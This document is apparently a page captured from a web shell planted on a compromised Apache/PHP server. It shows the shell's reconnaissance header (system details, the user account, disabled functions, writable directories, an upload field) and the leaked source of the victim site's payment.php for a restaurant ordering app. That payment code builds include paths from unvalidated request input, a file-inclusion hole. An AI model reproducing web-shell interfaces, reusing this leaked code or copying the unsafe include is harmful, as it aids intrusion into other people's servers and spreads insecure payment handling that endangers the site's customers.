T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/gositeme.com/public_html/quickqr/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/gositeme.com/public_html/quickqr/php/payment.php
<?php
require_once("includes/lib/curl/curl.php");
require_once("includes/lib/curl/CurlResponse.php");



if(isset($_GET['i']) && trim($_GET['i']) == '')
{
    error($lang['INVALID_PAYMENT_PROCESS'], __LINE__, __FILE__, 1);
    exit();
}

if(isset($_GET['i']) && isset($_GET['access_token']))
{
    $access_token = $_GET['access_token'];
    if(isset($_SESSION['quickad'][$access_token])){
        $payment_settings = ORM::for_table($config['db']['pre'].'payments')
            ->select('payment_folder')
            ->where('payment_folder', $_GET['i'])
            ->find_one();

        if(!isset($payment_settings['payment_folder']))
        {
            error($lang['NOT_FOUND_PAYMENT'], __LINE__, __FILE__, 1);
            exit();
        }
        require_once('includes/payments/'.$payment_settings['payment_folder'].'/pay.php');
    }
}

if(isset($_GET['status']) && $_GET['status'] == 'cancel') {

    $access_token = isset($_GET['access_token']) ? $_GET['access_token'] : 0;

    if($access_token){
        payment_fail_save_detail($access_token);

        $error_msg = "Payment has been cancelled.";

        payment_error("cancel",$error_msg,$access_token);
    }else{
        error($lang['INVALID_PAYMENT_PROCESS'], __LINE__, __FILE__, 1);
        exit();
    }
}
if(isset($_POST['payment_method_id']))
{
    $access_token = $_POST['token'];
    $payment_type = $_SESSION['quickad'][$access_token]['payment_type'];
    $_SESSION['quickad'][$access_token]['payment_mode'] = "one-time";
    $_SESSION['quickad'][$access_token]['plan_interval'] = "day";

    if (isset($payment_type)) {

        $folder = $_POST['payment_method_id'];

        $_SESSION['quickad'][$access_token]['folder'] = $folder;

        if($folder == "2checkout"){
            $_SESSION['quickad'][$access_token]['firstname'] = $_POST['checkoutCardFirstName'];
            $_SESSION['quickad'][$access_token]['lastname'] = $_POST['checkoutCardLastName'];
            $_SESSION['quickad'][$access_token]['BillingAddress'] = $_POST['checkoutBillingAddress'];
            $_SESSION['quickad'][$access_token]['BillingCity'] = $_POST['checkoutBillingCity'];
            $_SESSION['quickad'][$access_token]['BillingState'] = $_POST['checkoutBillingState'];
            $_SESSION['quickad'][$access_token]['BillingZipcode'] = $_POST['checkoutBillingZipcode'];
            $_SESSION['quickad'][$access_token]['BillingCountry'] = $_POST['checkoutBillingCountry'];
            $_SESSION['quickad'][$access_token]['BillingPhone'] = validate_input($_POST['checkoutBillingPhone']);
            $_SESSION['quickad'][$access_token]['BillingEmail'] = validate_input($_POST['checkoutBillingEmail']);
        }

        if (file_exists('includes/payments/' . $folder . '/pay.php')) {
            require_once('includes/payments/' . $folder . '/pay.php');
        } else {
            error($lang['PAYMENT_METHOD_DISABLED'], __LINE__, __FILE__, 1);
            exit();
        }
    }else{

        error($lang['INVALID_PAYMENT_PROCESS'], __LINE__, __FILE__, 1);
        exit();
    }
}
else if(isset($_GET['token'])) {
    $access_token = $_GET['token'];
    if (isset($_SESSION['quickad'][$access_token]['payment_type'])) {

        $order_id = $_SESSION['quickad'][$access_token]['order_id'];
        $price = $_SESSION['quickad'][$access_token]['amount'];
        $payment_type = $_SESSION['quickad'][$access_token]['payment_type'];
        $restaurant_id = $_SESSION['quickad'][$access_token]['restaurant_id'];

        $restaurant = ORM::for_table($config['db']['pre'] . 'restaurant')
            ->find_one($restaurant_id);

        $restro_id = $restaurant['id'];
        $name = $restaurant['name'];
        $sub_title = $restaurant['sub_title'];
        $main_image = $restaurant['main_image'];
        $cover_image = $restaurant['cover_image'];

        $userdata = get_user_data(null, $restaurant['user_id']);
        $currency = !empty($userdata['currency'])?$userdata['currency']:get_option('currency_code');
        $amount = price_format($price, $currency);

        $page = new HtmlTemplate ('templates/' . $config['tpl_name'] . '/payment.tpl');

        $page->SetParameter('RESTAURANT_PAYPAL_INSTALL', get_restaurant_option($restro_id,'restaurant_paypal_install',0));
        $page->SetParameter('RESTAURANT_PAYPAL_TITLE', get_restaurant_option($restro_id,'restaurant_paypal_title','Paypal'));

        $page->SetParameter('RESTAURANT_STRIPE_INSTALL', get_restaurant_option($restro_id,'restaurant_stripe_install',0));
        $page->SetParameter('RESTAURANT_STRIPE_TITLE', get_restaurant_option($restro_id,'restaurant_stripe_title','Stripe'));

        $page->SetParameter('RESTAURANT_MOLLIE_INSTALL', get_restaurant_option($restro_id,'restaurant_mollie_install',0));
        $page->SetParameter('RESTAURANT_MOLLIE_TITLE', get_restaurant_option($restro_id,'restaurant_mollie_title','Mollie'));

        $page->SetParameter('RESTAURANT_PAYTM_INSTALL', get_restaurant_option($restro_id,'restaurant_paytm_install',0));
        $page->SetParameter('RESTAURANT_PAYTM_TITLE', get_restaurant_option($restro_id,'restaurant_paytm_title','Paytm'));

        $page->SetParameter ('RESTAURANT_2CHECKOUT_TITLE', get_restaurant_option($restro_id,'restaurant_2checkout_title'));
        $page->SetParameter ('RESTAURANT_2CHECKOUT_INSTALL', get_restaurant_option($restro_id,'restaurant_2checkout_install',0));
        $page->SetParameter ('RESTAURANT_2CHECKOUT_SANDBOX_MODE', get_restaurant_option($restro_id,'restaurant_2checkout_sandbox_mode','sandbox'));
        $page->SetParameter ('RESTAURANT_2CHECKOUT_ACCOUNT_NUMBER', get_restaurant_option($restro_id,'restaurant_2checkout_account_number'));
        $page->SetParameter ('RESTAURANT_2CHECKOUT_PUBLIC_KEY', get_restaurant_option($restro_id,'restaurant_2checkout_public_key'));
        $page->SetParameter ('RESTAURANT_2CHECKOUT_PRIVATE_KEY', get_restaurant_option($restro_id,'restaurant_2checkout_private_key'));

        $page->SetParameter ('RESTAURANT_PAYSTACK_INSTALL', get_restaurant_option($restro_id,'restaurant_paystack_install',0));
        $page->SetParameter ('RESTAURANT_PAYSTACK_TITLE', get_restaurant_option($restro_id,'restaurant_paystack_title'));
        $page->SetParameter ('RESTAURANT_PAYSTACK_SECRET_KEY', get_restaurant_option($restro_id,'restaurant_paystack_secret_key'));
        $page->SetParameter ('RESTAURANT_PAYSTACK_PUBLIC_KEY', get_restaurant_option($restro_id,'restaurant_paystack_public_key'));

        $page->SetParameter ('RESTAURANT_CCAVENUE_INSTALL', get_restaurant_option($restro_id,'restaurant_ccavenue_install',0));
        $page->SetParameter ('RESTAURANT_CCAVENUE_TITLE', get_restaurant_option($restro_id,'restaurant_ccavenue_title'));
        $page->SetParameter ('RESTAURANT_CCAVENUE_MERCHANT_KEY', get_restaurant_option($restro_id,'restaurant_ccavenue_merchant_key'));
        $page->SetParameter ('RESTAURANT_CCAVENUE_ACCESS_CODE', get_restaurant_option($restro_id,'restaurant_ccavenue_access_code'));
        $page->SetParameter ('RESTAURANT_CCAVENUE_WORKING_KEY', get_restaurant_option($restro_id,'restaurant_ccavenue_working_key'));

        $page->SetParameter ('RESTAURANT_PAYUMONEY_TITLE', get_restaurant_option($restro_id,'restaurant_payumoney_title'));
        $page->SetParameter ('RESTAURANT_PAYUMONEY_INSTALL', get_restaurant_option($restro_id,'restaurant_payumoney_install',0));
        $page->SetParameter ('RESTAURANT_PAYUMONEY_SANDBOX_MODE', get_restaurant_option($restro_id,'restaurant_payumoney_sandbox_mode','test'));
        $page->SetParameter ('RESTAURANT_PAYUMONEY_MERCHANT_ID', get_restaurant_option($restro_id,'restaurant_payumoney_merchant_id'));
        $page->SetParameter ('RESTAURANT_PAYUMONEY_MERCHANT_KEY', get_restaurant_option($restro_id,'restaurant_payumoney_merchant_key'));
        $page->SetParameter ('RESTAURANT_PAYUMONEY_MERCHANT_SALT', get_restaurant_option($restro_id,'restaurant_payumoney_merchant_salt'));

        $page->SetParameter('RESTAURANT_IYZICO_INSTALL',get_restaurant_option($restro_id,'restaurant_iyzico_install'));
        $page->SetParameter('RESTAURANT_IYZICO_TITLE',get_restaurant_option($restro_id,'restaurant_iyzico_title', 'Iyzico'));
        $page->SetParameter('RESTAURANT_IYZICO_SANDBOX_MODE',get_restaurant_option($restro_id,'restaurant_iyzico_sandbox_mode'));
        $page->SetParameter('RESTAURANT_IYZICO_API_KEY',get_restaurant_option($restro_id,'restaurant_iyzico_api_key'));
        $page->SetParameter('RESTAURANT_IYZICO_SECRET_KEY',get_restaurant_option($restro_id,'restaurant_iyzico_secret_key'));

        $page->SetParameter('RESTAURANT_MIDTRANS_INSTALL',get_restaurant_option($restro_id,'restaurant_midtrans_install'));
        $page->SetParameter('RESTAURANT_MIDTRANS_TITLE',get_restaurant_option($restro_id,'restaurant_midtrans_title', 'Midtrans'));
        $page->SetParameter('RESTAURANT_MIDTRANS_SANDBOX_MODE',get_restaurant_option($restro_id,'restaurant_midtrans_sandbox_mode'));
        $page->SetParameter('RESTAURANT_MIDTRANS_CLIENT_KEY',get_restaurant_option($restro_id,'restaurant_midtrans_client_key'));
        $page->SetParameter('RESTAURANT_MIDTRANS_SERVER_KEY',get_restaurant_option($restro_id,'restaurant_midtrans_server_key'));

        $page->SetParameter('RESTAURANT_PAYTABS_INSTALL',get_restaurant_option($restro_id,'restaurant_paytabs_install'));
        $page->SetParameter('RESTAURANT_PAYTABS_TITLE',get_restaurant_option($restro_id,'restaurant_paytabs_title', 'Paytabs'));
        $page->SetParameter('RESTAURANT_PAYTABS_PROFILE_ID',get_restaurant_option($restro_id,'restaurant_paytabs_profile_id'));
        $page->SetParameter('RESTAURANT_PAYTABS_SECRET_KEY',get_restaurant_option($restro_id,'restaurant_paytabs_secret_key'));

        $page->SetParameter('RESTAURANT_TELR_INSTALL',get_restaurant_option($restro_id,'restaurant_telr_install'));
        $page->SetParameter('RESTAURANT_TELR_TITLE',get_restaurant_option($restro_id,'restaurant_telr_title', 'Telr'));
        $page->SetParameter('RESTAURANT_TELR_SANDBOX_MODE',get_restaurant_option($restro_id,'restaurant_telr_sandbox_mode'));
        $page->SetParameter('RESTAURANT_TELR_STORE_ID',get_restaurant_option($restro_id,'restaurant_telr_store_id'));
        $page->SetParameter('RESTAURANT_TELR_AUTHKEY',get_restaurant_option($restro_id,'restaurant_telr_authkey'));

        $page->SetParameter('RESTAURANT_RAZORPAY_INSTALL',get_restaurant_option($restro_id,'restaurant_razorpay_install'));
        $page->SetParameter('RESTAURANT_RAZORPAY_TITLE',get_restaurant_option($restro_id,'restaurant_razorpay_title', 'Razorpay'));
        $page->SetParameter('RESTAURANT_RAZORPAY_API_KEY',get_restaurant_option($restro_id,'restaurant_razorpay_api_key'));
        $page->SetParameter('RESTAURANT_RAZORPAY_SECRET_KEY',get_restaurant_option($restro_id,'restaurant_razorpay_secret_key'));

        $page->SetParameter ('PAYPAL_AVAILABLE', (int) file_exists('includes/payments/paypal/pay.php'));
        $page->SetParameter ('STRIPE_AVAILABLE', (int) file_exists('includes/payments/stripe/pay.php'));
        $page->SetParameter ('PAYTM_AVAILABLE', (int) file_exists('includes/payments/paytm/pay.php'));
        $page->SetParameter ('MOLLIE_AVAILABLE', (int) file_exists('includes/payments/mollie/pay.php'));
        $page->SetParameter ('2CHECKOUT_AVAILABLE', (int) file_exists('includes/payments/2checkout/pay.php'));
        $page->SetParameter ('PAYSTACK_AVAILABLE', (int) file_exists('includes/payments/paystack/pay.php'));
        $page->SetParameter ('CCAVENUE_AVAILABLE', (int) file_exists('includes/payments/ccavenue/pay.php'));
        $page->SetParameter ('PAYUMONEY_AVAILABLE', (int) file_exists('includes/payments/payumoney/pay.php'));
        $page->SetParameter ('IYZICO_AVAILABLE', (int) file_exists('includes/payments/iyzico/pay.php'));
        $page->SetParameter ('MIDTRANS_AVAILABLE', (int) file_exists('includes/payments/midtrans/pay.php'));
        $page->SetParameter ('PAYTABS_AVAILABLE', (int) file_exists('includes/payments/paytabs/pay.php'));
        $page->SetParameter ('TELR_AVAILABLE', (int) file_exists('includes/payments/telr/pay.php'));
        $page->SetParameter ('RAZORPAY_AVAILABLE', (int) file_exists('includes/payments/razorpay/pay.php'));

        $page->SetParameter('NAME', $name);
        $page->SetParameter('SUB_TITLE', $sub_title);
        $page->SetParameter('PHONE', $userdata['phone']);
        $page->SetParameter('MAIN_IMAGE', $main_image);
        $page->SetParameter('COVER_IMAGE', $cover_image);
        $page->SetParameter ('PAYMENT_TYPE', $payment_type);
        $page->SetParameter ('PRICE', $price);
        $page->SetParameter ('AMOUNT', $amount);
        $page->SetParameter ('CURRENCY_CODE', $currency);
        $page->SetParameter ('PHONE', $_SESSION['quickad'][$access_token]['phone']);
        $page->SetParameter ('TOKEN', $access_token);
        $page->SetParameter ('COUNTRY_CODE', strtoupper(check_user_country()));

        $themecolor = $config['theme_color'];
        $colors = array();
        list($r, $g, $b) = sscanf($themecolor, "#%02x%02x%02x");
        $i = 0.01;
        while($i <= 1){
            $colors["$i"]['id'] = str_replace('.','_',$i);
            $colors["$i"]['value'] = "rgba($r,$g,$b,$i)";
            $i += 0.01;
        }
        $colors[1]['id'] = 1;
        $colors[1]['value'] = "rgba($r,$g,$b,1)";
        $page->SetLoop ('COLORS',$colors);
        $page->CreatePageEcho();
    }
    else{
        error($lang['INVALID_PAYMENT_PROCESS'], __LINE__, __FILE__, 1);
        exit();
    }
}
else
{
    error($lang['PAGE_NOT_FOUND'], __LINE__, __FILE__, 1);
    exit();
}

?>

CasperSecurity Mini